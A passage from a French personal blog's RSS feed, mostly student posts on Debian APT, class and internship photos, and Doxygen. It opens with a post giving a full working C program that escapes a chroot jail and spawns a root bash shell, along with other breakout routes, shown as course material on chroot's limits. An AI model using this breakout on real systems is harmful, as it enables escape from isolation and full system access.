<p>Derrière ce titre original se cache un billet traitant de l&#8217;évasion d&#8217;un <a href="http://fr.wikipedia.org/wiki/Chroot" target="_blank"><strong>chroot</strong></a> sous GNU/Linux, sujet pour lequel je me suis très fortement inspiré de ce que j&#8217;ai vu récemment en cours.</p>
<p>De plus en plus de personnes procèdent au compartimentage des applications de leur serveur à l&#8217;aide de l&#8217;outil <strong>chroot</strong>, le but de cette manipulation étant de limiter l&#8217;impacte du piratage d&#8217;une des applications (services) du serveur en isolant les programmes les uns les autres. Ainsi, si un hacker obtient un accès via un service X, il se trouvera enfermer dans une cage ce qui l&#8217;empêchera d&#8217;infecter le reste du système, la sécurité globale reste donc préservée.</p>
<p>Cela dit, les gens savent moins souvent que la commande chroot n&#8217;a pas pour vocation première de sécuriser un système en mettant en place des cages. De nombreuses techniques permettent en effet de s&#8217;échapper d&#8217;un <strong>chroot</strong> et d&#8217;avoir ainsi accès à l&#8217;ensemble du système.</p>
<p>Voici un petit programme rédigé en C qui permet d&#8217;outrepasser un chroot :</p>
<blockquote><p>/**</p>
<p>* Programme en C permettant d&#8217;outrepasser un chroot.</p>
<p>* Auteur : Lucas Nussbaum &#8211; IUT Charlemagne Nancy2, France.</p>
<p>*/</p>
<p>#include &lt;stdio.h&gt;</p>
<p>#include &lt;stdlib.h&gt;</p>
<p>#include &lt;unistd.h&gt;</p>
<p>#include &lt;sys/stat.h&gt;</p>
<p>#include &lt;sys/types.h&gt;</p>
<p>int main() {</p>
<p>/* On se positionne a la racine du chroot */</p>
<p>if (chdir(&#8220;/&#8221;) == -1) { perror(&#8220;chdir&#8221;); }</p>
<p>/* On cree un repertoire &#8216;foo&#8217; et un chroot dedans */</p>
<p>if (mkdir(&#8220;/foo&#8221;, 0755) == -1) { perror(&#8220;mkdir&#8221;); }</p>
<p>if (chroot(&#8220;/foo&#8221;) == -1) { perror(&#8220;chroot&#8221;); }</p>
<p>/* A ce moment la, la racine du processus est /foo, mais le repertoire courant du processus pointe en dehors du chroot.</p>
<p>On fait remonter le repertoire courant. */</p>
<p>if (chdir(&#8220;../../../../..&#8221;) == -1) { perror(&#8220;chdir&#8221;); }</p>
<p>/* On execute un shell */</p>
<p>system(&#8220;/bin/bash&#8221;);</p>
<p>return 0;</p>
<p>}</p></blockquote>
<p>Deux remarques au sujet de ce code mis au point par mon enseignant :</p>
<ol>
<li>Il requière les privilèges <strong>root</strong>.</li>
<li>Il requière l&#8217;accès à un compilateur C ou d&#8217;avoir la possibilité d&#8217;exécuter un programme</li>
</ol>
<p>Ce programme exploite l&#8217;appel système <strong>chroot</strong> pour casser une prison. La démarche se résume à accéder à la racine du chroot, à créer un répertoire et à chrooter celui-ci à l&#8217;aide d&#8217;un appel système en langage C. Le fait de chrooter ce répertoire va modifier le répertoire racine du processus mais pas le répertoire courant qui se retrouve du coup en dehors du nouveau chroot&#8230; on est ainsi libre ! Il suffit dès lors de remonter plusieurs répertoire jusqu&#8217;à se retrouver à la racine &#8220;/&#8221; et de lancer un shell bash pour avoir un accès complet au système.</p>
<p>D&#8217;autres méthodes existes pour outrepasser un chroot. On peut notamment utiliser la commande MAKEDEV pour des devices sda* et en suite les monter et avoir ainsi accès à l&#8217;ensemble du disque dur. Il est aussi possible de passer via /proc qui contient diverses informations sur les processus courants du système.</p>
<p>Vous avez néanmoins bien compris que ces méthodes requièrent les droits <strong>root</strong> pour pouvoir êtres exploitées, le pirate devra donc par exemple passer via un faille du kernel pour obtenir ces privilèges.</p>
<p>Lors du TP qui traitait de ce sujet, le programme mentionné ci-dessus n&#8217;a pas fonctionné (pourtant lancé en root) sur mon serveur basée sur Debian, la raison à cela est que j&#8217;utilise un noyau patché avec <a href="http://fr.wikipedia.org/wiki/Grsecurity" target="_blank"><strong>GrSecurity</strong></a> qui inclus certains renforcements pour <strong>chroot</strong>.</p>
<p>D&#8217;ailleurs, j&#8217;essaierai prochainement de rédiger un billet traitant des dispositifs que j&#8217;ai mis en place sur mon serveur pour le sécuriser.</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/lebricabrac.wordpress.com/138/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/lebricabrac.wordpress.com/138/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/lebricabrac.wordpress.com/138/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/lebricabrac.wordpress.com/138/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/lebricabrac.wordpress.com/138/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/lebricabrac.wordpress.com/138/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/lebricabrac.wordpress.com/138/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/lebricabrac.wordpress.com/138/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/lebricabrac.wordpress.com/138/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/lebricabrac.wordpress.com/138/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=lebricabrac.wordpress.com&blog=1877996&post=138&subd=lebricabrac&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://lebricabrac.wordpress.com/2009/10/04/securitelinux-chroot-break/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/9d813660c3a4de1e7d4153f3e8aa7410?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Nassim</media:title>
		</media:content>

		<media:content url="http://lebricabrac.files.wordpress.com/2009/10/chrootbreak.png" medium="image">
			<media:title type="html">chrootbreak</media:title>
		</media:content>
	</item>
		<item>
		<title>[Debian] Bon APT</title>
		<link>http://lebricabrac.wordpress.com/2009/10/04/debian-bon-apt/</link>
		<comments>http://lebricabrac.wordpress.com/2009/10/04/debian-bon-apt/#comments</comments>
		<pubDate>Sun, 04 Oct 2009 03:37:41 +0000</pubDate>
		<dc:creator>Nassim</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[apt]]></category>
		<category><![CDATA[apt-cache]]></category>
		<category><![CDATA[apt-file]]></category>
		<category><![CDATA[apt-get]]></category>
		<category><![CDATA[deb]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[gnu]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[linuxdz]]></category>
		<category><![CDATA[package]]></category>
		<category><![CDATA[paquet]]></category>
		<category><![CDATA[paquetage]]></category>
		<category><![CDATA[sources.list]]></category>

		<guid isPermaLink="false">http://lebricabrac.wordpress.com/?p=133</guid>
		<description><![CDATA[





Désolé mais  à cette heure saugrenue à laquelle je rédige ce billet je n’ai pas eu de meilleure idée de titre que celui-ci.
Bon, cela fait maintenant quelques semaines que j’ai repris les cours et qu’à mon grand désespoir d’Archlinuxien je bouffe du Debian à longueur de journée et j’ai donc décidé de rédiger un petit [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=lebricabrac.wordpress.com&blog=1877996&post=133&subd=lebricabrac&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><div class="mceTemp mceIEcenter">
<dl class="wp-caption aligncenter">
<dt class="wp-caption-dt"><a href="http://lebricabrac.files.wordpress.com/2009/10/gnudebian.png"><img class="size-full wp-image-136" title="gnuDebian" src="http://lebricabrac.files.wordpress.com/2009/10/gnudebian.png?w=270&#038;h=358" alt="Debian" width="270" height="358" /></a></dt>
<dd class="wp-caption-dd"></dd>
</dl>
</div>
<p>Désolé mais  à cette heure saugrenue à laquelle je rédige ce billet je n’ai pas eu de meilleure idée de titre que celui-ci.</p>
<p>Bon, cela fait maintenant quelques semaines que j’ai repris les cours et qu’à mon grand désespoir d’Archlinuxien je bouffe du Debian à longueur de journée et j’ai donc décidé de rédiger un petit billet au sujet d’APT que je commence à maitriser.</p>
<p>Voici donc quelques « astuces » sous APT :</p>
<ul>
<li><strong>Sélectionner les meilleurs miroirs :<br />
</strong></li>
</ul>
<p>Il est intéressant de sélectionner les miroirs les plus rapides pour optimiser les temps de téléchargement des paquets avec APT. Cette opération peut être effectuée judicieusement à l’aide de l’application <strong>netselect</strong>.</p>
<p>Installation de netselect :</p>
<blockquote><p>apt-get install netselect</p></blockquote>
<p>Il vous suffit maintenant de lancer la commande <strong>netselect</strong> suivie d&#8217;une liste de miroirs (séparés par des espaces) et la commande renverra le miroir le plus rapide. Vous pouvez trouver la liste complète des miroirs ici : <a href="http://www.debian.org/mirror/mirrors_full" target="_blank">http://www.debian.org/mirror/mirrors_full</a>.</p>
<ul>
<li><strong>Rechercher un paquet :</strong></li>
</ul>
<p>Si vous recherchez un paquet dont vous ne connaissez pas le nom exacte, vous pouvez utiliser la commande :</p>
<blockquote><p>apt-cache search nomDuPaquet</p></blockquote>
<p>Cette commande effectuera une recherche sur le nom des paquets et leur description. Si vous désirez restreindre la recherche aux noms des paquets uniquement, vous pouvez utiliser la commande :</p>
<blockquote><p>apt-cache search  -n nomDuPaquet</p></blockquote>
<ul>
<li><strong>Afficher les informations d&#8217;un paquet :</strong></li>
</ul>
<p>Vous pouvez afficher les informations d&#8217;un paquet (descriptions, dépendances&#8230;etc) en utilisant la commande :</p>
<blockquote><p>apt-cache showpkg nomDuPaquet</p></blockquote>
<ul>
<li><strong>Déterminer à quel paquetage appartient un fichier : </strong></li>
</ul>
<p>Une fonction qui s&#8217;avère cruciale lors de certaines pannes, cela permet par exemple de pouvoir restaurer un fichier corrompu en réinstallant le paquetage correspondant.</p>
<p>La commande à utiliser est :</p>
<blockquote><p>apt-file search nomDuFichier</p></blockquote>
<p>Il est aussi possible de lister l&#8217;ensemble des fichiers d&#8217;un paquet particulier :</p>
<blockquote><p>apt-file list nomDuPaquet</p></blockquote>
<p>Il est important de noter qu&#8217;apt-file doit être installé car il n&#8217;est pas disponible par défaut, son installation s&#8217;effectue de cette manière :</p>
<blockquote><p>apt-get install apt-file</p>
<p>apt-file update</p></blockquote>
<p>Voilà&#8230; j&#8217;essairai d&#8217;enrichir ce billet prochainement.</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/lebricabrac.wordpress.com/133/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/lebricabrac.wordpress.com/133/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/lebricabrac.wordpress.com/133/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/lebricabrac.wordpress.com/133/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/lebricabrac.wordpress.com/133/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/lebricabrac.wordpress.com/133/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/lebricabrac.wordpress.com/133/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/lebricabrac.wordpress.com/133/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/lebricabrac.wordpress.com/133/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/lebricabrac.wordpress.com/133/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=lebricabrac.wordpress.com&blog=1877996&post=133&subd=lebricabrac&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://lebricabrac.wordpress.com/2009/10/04/debian-bon-apt/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/9d813660c3a4de1e7d4153f3e8aa7410?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Nassim</media:title>
		</media:content>

		<media:content url="http://lebricabrac.files.wordpress.com/2009/10/gnudebian.png" medium="image">
			<media:title type="html">gnuDebian</media:title>
		</media:content>
	</item>
		<item>
		<title>[Photos] ASRALL</title>
		<link>http://lebricabrac.wordpress.com/2009/09/17/photos-asrall/</link>
		<comments>http://lebricabrac.wordpress.com/2009/09/17/photos-asrall/#comments</comments>
		<pubDate>Thu, 17 Sep 2009 11:38:42 +0000</pubDate>
		<dc:creator>Nassim</dc:creator>
				<category><![CDATA[Non classé]]></category>
		<category><![CDATA[archlinux]]></category>
		<category><![CDATA[asrall]]></category>
		<category><![CDATA[bsd]]></category>
		<category><![CDATA[charlemagne]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[gnu]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[gpl]]></category>
		<category><![CDATA[iut]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[opensource]]></category>

		<guid isPermaLink="false">http://lebricabrac.wordpress.com/?p=126</guid>
		<description><![CDATA[Nous avons commencé les cours d&#8217;ASRALL cette semaine, nous somme assez nombreux cette année (29 étudiants) mais heureusement le nombre de machines est suffisant. Les membres de la promotion sont sympathique, il y à une excellente ambiance et surtout un cadre de travail super agréable et très motivant.
Voilà&#8230; j&#8217;espère publier de nouvelles photos très prochainement, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=lebricabrac.wordpress.com&blog=1877996&post=126&subd=lebricabrac&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Nous avons commencé les cours d&#8217;ASRALL cette semaine, nous somme assez nombreux cette année (29 étudiants) mais heureusement le nombre de machines est suffisant. Les membres de la promotion sont sympathique, il y à une excellente ambiance et surtout un cadre de travail super agréable et très motivant.</p>
<div id="attachment_127" class="wp-caption aligncenter" style="width: 310px"><a href="http://lebricabrac.files.wordpress.com/2009/09/sp_a1399.jpg"><img class="size-medium wp-image-127" title="Salle ASRALL" src="http://lebricabrac.files.wordpress.com/2009/09/sp_a1399.jpg?w=300&#038;h=225" alt="Salle ASRALL" width="300" height="225" /></a><p class="wp-caption-text">Salle ASRALL</p></div>
<div id="attachment_128" class="wp-caption aligncenter" style="width: 310px"><a href="http://lebricabrac.files.wordpress.com/2009/09/sp_a1401.jpg"><img class="size-medium wp-image-128" title="Espace de jeu" src="http://lebricabrac.files.wordpress.com/2009/09/sp_a1401.jpg?w=300&#038;h=225" alt="Au fond de notre salle se trouve un ensemble de PC en libre service, nos jouets ! On peut s'en servir pour des différents tests et expérimentations " width="300" height="225" /></a><p class="wp-caption-text">Au fond de notre salle se trouve un ensemble de PC en libre service, nos jouets ! On peut s&#39;en servir pour  différents tests et expérimentations </p></div>
<div id="attachment_129" class="wp-caption aligncenter" style="width: 310px"><a href="http://lebricabrac.files.wordpress.com/2009/09/sp_a1403.jpg"><img class="size-medium wp-image-129" title="Nos machines" src="http://lebricabrac.files.wordpress.com/2009/09/sp_a1403.jpg?w=300&#038;h=225" alt="A droite ma station de travail (XFCE - Debian Testing pour la plus grande joie de mon binôme) et à gauche mon laptop (KDE4 - Archlinux). Sur nos laptops ont peut soit se connecter via wifi soit via ethernet" width="300" height="225" /></a><p class="wp-caption-text">A droite ma station de travail (XFCE - Debian Testing pour la plus grande joie de mon binôme) et à gauche mon laptop (KDE4 - Archlinux). Sur nos laptops ont peut soit se connecter via wifi soit via ethernet</p></div>
<div id="attachment_130" class="wp-caption aligncenter" style="width: 310px"><a href="http://lebricabrac.files.wordpress.com/2009/09/sp_a1404.jpg"><img class="size-medium wp-image-130" title="Seb (The Mac User !)" src="http://lebricabrac.files.wordpress.com/2009/09/sp_a1404.jpg?w=300&#038;h=225" alt="Ici mon ami Seb entrain de s'adonner aux macro sous Emacs (équipé d'un MacBook qui tourne sous Debian/XFCE ^^)" width="300" height="225" /></a><p class="wp-caption-text">Ici mon ami Seb entrain de s&#39;adonner aux macro sous Emacs (équipé d&#39;un MacBook qui tourne sous Debian/XFCE ^^)</p></div>
<p>Voilà&#8230; j&#8217;espère publier de nouvelles photos très prochainement, notamment, celles du serveur que je compte déployer dès demain sur une des machines qui se trouvent au fond de la salle. J&#8217;hésite toujours sur le choix d&#8217;un OS/Distrib mais je crois que je vais essayer FreeBSD.</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/lebricabrac.wordpress.com/126/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/lebricabrac.wordpress.com/126/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/lebricabrac.wordpress.com/126/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/lebricabrac.wordpress.com/126/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/lebricabrac.wordpress.com/126/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/lebricabrac.wordpress.com/126/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/lebricabrac.wordpress.com/126/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/lebricabrac.wordpress.com/126/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/lebricabrac.wordpress.com/126/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/lebricabrac.wordpress.com/126/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=lebricabrac.wordpress.com&blog=1877996&post=126&subd=lebricabrac&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://lebricabrac.wordpress.com/2009/09/17/photos-asrall/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/9d813660c3a4de1e7d4153f3e8aa7410?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Nassim</media:title>
		</media:content>

		<media:content url="http://lebricabrac.files.wordpress.com/2009/09/sp_a1399.jpg?w=300" medium="image">
			<media:title type="html">Salle ASRALL</media:title>
		</media:content>

		<media:content url="http://lebricabrac.files.wordpress.com/2009/09/sp_a1401.jpg?w=300" medium="image">
			<media:title type="html">Espace de jeu</media:title>
		</media:content>

		<media:content url="http://lebricabrac.files.wordpress.com/2009/09/sp_a1403.jpg?w=300" medium="image">
			<media:title type="html">Nos machines</media:title>
		</media:content>

		<media:content url="http://lebricabrac.files.wordpress.com/2009/09/sp_a1404.jpg?w=300" medium="image">
			<media:title type="html">Seb (The Mac User !)</media:title>
		</media:content>
	</item>
		<item>
		<title>[Stage] Photos chez Ineodev</title>
		<link>http://lebricabrac.wordpress.com/2009/08/21/stage-photos-chez-ineodev/</link>
		<comments>http://lebricabrac.wordpress.com/2009/08/21/stage-photos-chez-ineodev/#comments</comments>
		<pubDate>Fri, 21 Aug 2009 17:28:29 +0000</pubDate>
		<dc:creator>Nassim</dc:creator>
				<category><![CDATA[Non classé]]></category>
		<category><![CDATA[bee]]></category>
		<category><![CDATA[beelinux]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[ineodev]]></category>
		<category><![CDATA[informatique]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://lebricabrac.wordpress.com/?p=115</guid>
		<description><![CDATA[Mon stage chez INEODEV tire à sa fin, j&#8217;ai donc saisi l&#8217;occasion pour prendre des photos des lieux,  ne soyez pas surpris de n&#8217;apercevoir aucun individu sur les photos, il ne s&#8217;agit pas de censure, c&#8217;est juste que toute l&#8217;équipe était dans la cour pour organiser un barbecue.
Voilà, je n&#8217;ai pas tout pris en photo&#8230; [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=lebricabrac.wordpress.com&blog=1877996&post=115&subd=lebricabrac&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Mon stage chez INEODEV tire à sa fin, j&#8217;ai donc saisi l&#8217;occasion pour prendre des photos des lieux,  ne soyez pas surpris de n&#8217;apercevoir aucun individu sur les photos, il ne s&#8217;agit pas de censure, c&#8217;est juste que toute l&#8217;équipe était dans la cour pour organiser un barbecue.</p>
<div id="attachment_118" class="wp-caption aligncenter" style="width: 310px"><img class="size-medium wp-image-118" title="SPA1371" src="http://lebricabrac.files.wordpress.com/2009/08/spa13711.jpg?w=300&#038;h=225" alt="Ineodev" width="300" height="225" /><p class="wp-caption-text">Lieu de travail des responsables du &quot;Contrôle Qualité&quot;.</p></div>
<div id="attachment_120" class="wp-caption aligncenter" style="width: 310px"><img class="size-medium wp-image-120" title="SPA1372" src="http://lebricabrac.files.wordpress.com/2009/08/spa1372.jpg?w=300&#038;h=225" alt="Bureau d'une des charmantes qui travaillent chez Ineodev." width="300" height="225" /><p class="wp-caption-text">Bureau d&#39;une des charmantes femmes qui travaillent chez Ineodev.</p></div>
<div id="attachment_121" class="wp-caption aligncenter" style="width: 310px"><img class="size-medium wp-image-121" title="SPA1374" src="http://lebricabrac.files.wordpress.com/2009/08/spa1374.jpg?w=300&#038;h=225" alt="Bureau du CTO" width="300" height="225" /><p class="wp-caption-text">Bureau du CTO</p></div>
<div id="attachment_123" class="wp-caption aligncenter" style="width: 310px"><img class="size-medium wp-image-123" title="SPA1376" src="http://lebricabrac.files.wordpress.com/2009/08/spa1376.jpg?w=300&#038;h=225" alt="La ruche; l'espace des développeurs !" width="300" height="225" /><p class="wp-caption-text">La ruche; l&#39;espace des développeurs !</p></div>
<p>Voilà, je n&#8217;ai pas tout pris en photo&#8230; la prochaine fois je prendrai des photos de la salle de réunion et du coin détente avec l&#8217;écran HD géant et la petite Wii ^^</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/lebricabrac.wordpress.com/115/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/lebricabrac.wordpress.com/115/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/lebricabrac.wordpress.com/115/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/lebricabrac.wordpress.com/115/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/lebricabrac.wordpress.com/115/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/lebricabrac.wordpress.com/115/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/lebricabrac.wordpress.com/115/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/lebricabrac.wordpress.com/115/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/lebricabrac.wordpress.com/115/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/lebricabrac.wordpress.com/115/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=lebricabrac.wordpress.com&blog=1877996&post=115&subd=lebricabrac&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://lebricabrac.wordpress.com/2009/08/21/stage-photos-chez-ineodev/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/9d813660c3a4de1e7d4153f3e8aa7410?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Nassim</media:title>
		</media:content>

		<media:content url="http://lebricabrac.files.wordpress.com/2009/08/spa13711.jpg?w=300" medium="image">
			<media:title type="html">SPA1371</media:title>
		</media:content>

		<media:content url="http://lebricabrac.files.wordpress.com/2009/08/spa1372.jpg?w=300" medium="image">
			<media:title type="html">SPA1372</media:title>
		</media:content>

		<media:content url="http://lebricabrac.files.wordpress.com/2009/08/spa1374.jpg?w=300" medium="image">
			<media:title type="html">SPA1374</media:title>
		</media:content>

		<media:content url="http://lebricabrac.files.wordpress.com/2009/08/spa1376.jpg?w=300" medium="image">
			<media:title type="html">SPA1376</media:title>
		</media:content>
	</item>
		<item>
		<title>[PHP] Générateur de documentation</title>
		<link>http://lebricabrac.wordpress.com/2009/08/11/php-generateur-de-documentation/</link>
		<comments>http://lebricabrac.wordpress.com/2009/08/11/php-generateur-de-documentation/#comments</comments>
		<pubDate>Mon, 10 Aug 2009 23:44:44 +0000</pubDate>
		<dc:creator>Nassim</dc:creator>
				<category><![CDATA[Développement]]></category>
		<category><![CDATA[c]]></category>
		<category><![CDATA[conception]]></category>
		<category><![CDATA[documentation]]></category>
		<category><![CDATA[doxygen]]></category>
		<category><![CDATA[javadoc]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[support]]></category>
		<category><![CDATA[technique]]></category>

		<guid isPermaLink="false">http://lebricabrac.wordpress.com/?p=111</guid>
		<description><![CDATA[
Pour diverses raisons un programmeur doit rédiger une documentation pour ses applications, cette tâche peut s&#8217;avérer très fastidieuse et rébarbative.
Étant actuellement en stage, je n&#8217;échappe pas à cette obligation de fournir une documentation technique qui servira les gens qui s&#8217;occuperont du maintient de l&#8217;application après mon départ, d&#8217;autant plus que mon travail s&#8217;inscrit dans un [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=lebricabrac.wordpress.com&blog=1877996&post=111&subd=lebricabrac&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><img class="aligncenter" title="livres" src="http://cca-issy.com/WordPress/wp-content/uploads/2009/07/pile-de-livres.jpg" alt="" width="500" height="273" /></p>
<p>Pour diverses raisons un programmeur doit rédiger une documentation pour ses applications, cette tâche peut s&#8217;avérer très fastidieuse et rébarbative.</p>
<p>Étant actuellement en stage, je n&#8217;échappe pas à cette obligation de fournir une documentation technique qui servira les gens qui s&#8217;occuperont du maintient de l&#8217;application après mon départ, d&#8217;autant plus que mon travail s&#8217;inscrit dans un cadre OpenSource.</p>
<p>A l&#8217;université j&#8217;ai principalement appris à développer en JAVA, ce langage a la particularité d&#8217;intégrer par défaut un générateur de documentation nommé <strong>Javadoc</strong>, il est simple d&#8217;utilisation et donne un bon résultat. Par contre, sous PHP il n&#8217;y a pas de générateur de documentation inclus par défaut, j&#8217;ai donc comparé les différents outils disponibles sur la toile et mon choix c&#8217;est très vite porté vers Doxygen qui permet de générer de la documentation pour des programmes en PHP mais aussi des programmes en C/C++, JAVA, C#, Python,&#8230;etc.</p>
<p>Un des avantages non négligeables en ce qui me concerne est la possibilité d&#8217;utiliser avec Doxygen la même syntaxe que celle de Javadoc, ce qui est fort agréable quand on est déjà habitué à cet outil. Il y a aussi d&#8217;autres avantages comme : support de divers formats de sortie (PDF, XML, HTML&#8230;etc), templates personnalisables, tags personnalisables&#8230;etc.</p>
<p>Doxygen est donc un outil que je vous conseille fortement, je n&#8217;ai pas encore étudié le cas de Python mais si celui-ci ne dispose pas d&#8217;un outil standard,  j&#8217;utiliserai surement Doxygen pour la documentation de la partie Python de mon projet.</p>
<p>Site officiel : http://www.stack.nl/~dimitri/doxygen/index.html</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/lebricabrac.wordpress.com/111/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/lebricabrac.wordpress.com/111/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/lebricabrac.wordpress.com/111/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/lebricabrac.wordpress.com/111/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/lebricabrac.wordpress.com/111/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/lebricabrac.wordpress.com/111/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/lebricabrac.wordpress.com/111/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/lebricabrac.wordpress.com/111/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/lebricabrac.wordpress.com/111/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/lebricabrac.wordpress.com/111/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=lebricabrac.wordpress.com&blog=1877996&post=111&subd=lebricabrac&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://lebricabrac.wordpress.com/2009/08/11/php-generateur-de-documentation/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/9d813660c3a4de1e7d4153f3e8aa7410?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Nassim</media:title>
		</media:content>

		<media:content url="http://cca-issy.com/WordPress/wp-content/uploads/2009/07/pile-de-livres.jpg" medium="image">
			<media:title type="html">livres</media:title>
		</media:content>
	</item>
		<item>
		<title>[PHP-Sécurité] Technique du grain de sel</title>
		<link>http://lebricabrac.wordpress.com/2009/08/10/php-securite-technique-du-grain-de-sel/</link>
		<comments>http://lebricabrac.wordpress.com/2009/08/10/php-securite-technique-du-grain-de-sel/#comments</comments>
		<pubDate>Mon, 10 Aug 2009 09:01:54 +0000</pubDate>
		<dc:creator>Nassim</dc:creator>
				<category><![CDATA[Développement]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[cryptage]]></category>
		<category><![CDATA[grain]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[md5]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[programmation]]></category>
		<category><![CDATA[sécurisation]]></category>
		<category><![CDATA[sel]]></category>

		<guid isPermaLink="false">http://lebricabrac.wordpress.com/?p=108</guid>
		<description><![CDATA[
Intrigant comme titre non ? La technique du grain de sel est une méthode permettant de renforcer les hash MD5 des mots de passe d&#8217;une application, elle n&#8217;est pas spécifique à PHP et peut être adapté à bien des langages.
Le fonctionnement de cette technique est très simple, il conciste à concaténer une chaine au mot [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=lebricabrac.wordpress.com&blog=1877996&post=108&subd=lebricabrac&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><img class="aligncenter" title="sel" src="http://www.espace4you.net/allimages/8179138685244021600.jpg" alt="" width="200" height="200" /></p>
